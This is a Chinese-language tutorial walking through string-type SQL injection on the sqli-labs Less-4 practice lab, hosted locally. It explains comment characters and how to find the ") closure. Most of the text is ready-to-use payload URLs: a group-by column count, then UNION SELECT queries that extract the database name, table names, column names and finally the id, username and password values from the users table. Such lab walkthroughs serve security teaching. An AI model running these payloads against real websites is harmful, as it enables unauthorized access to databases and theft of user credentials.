本篇重点
前情提要
注入流程,判断注入类型请观看此篇
注释
注释 | |
---|---|
作用 | 注释就是对代码的解释和说明 |
特性 | 注释后面的命令不会被执行,在注入中可以让后面的语句不被执行,达到想要的效果 |
种类 | --+ # |
字符型注入条件
需要显示位
字符型注入思路
探测注入点,确认是否存在字符型注入漏洞,利用联合查询注入,通过UNION查询
获取所需数据
示例
本示例为sqli-labs 4
添加注入点
http://127.0.0.1/sql/Less-4/
?id=1
判断注入类型
利用and 1=2
通过页面回显判断注入类型,由下可得是字符型注入
http://127.0.0.1/sql/Less-4/
?id=1 and 1=2
寻找闭合方式
利用页面报错信息可得是")
闭合
http://127.0.0.1/sql/Less-4/
?id=1") and 1=1
添加注释,将后面的语句注释掉
http://127.0.0.1/sql/Less-4/
?id=1") and 1=1 --+
下面步骤,就跟整型注入一样了,详情和重点请见此篇
判断列数
通过页面报错,判断列数
http://127.0.0.1/sql/Less-4/
?id=1") group by 4 --+
即,得出有3列
http://127.0.0.1/sql/Less-4/
?id=1") group by 3 --+
查询显示位
http://127.0.0.1/sql/Less-4/
?id=-1") union select 1,2,3 --+
查询当前数据库
http://127.0.0.1/sql/Less-4/
?id=-1") union select 1,database(),3 --+
查询表名
http://127.0.0.1/sql/Less-4/
?id=-1") union select 1,database(),(select group_concat(table_name)
from information_schema.tables where table_schema=database()) --+
查询列名
http://127.0.0.1/sql/Less-4/
?id=-1") union select 1,database(),(select group_concat(column_name)
from information_schema.columns where table_schema=database() and table_name='users') --+
查询字段
http://127.0.0.1/sql/Less-4/
?id=-1") union select 1,database(),(select group_concat(concat_ws(0x23,id,username,password)) from users) --+
如有问题欢迎在评论区讨论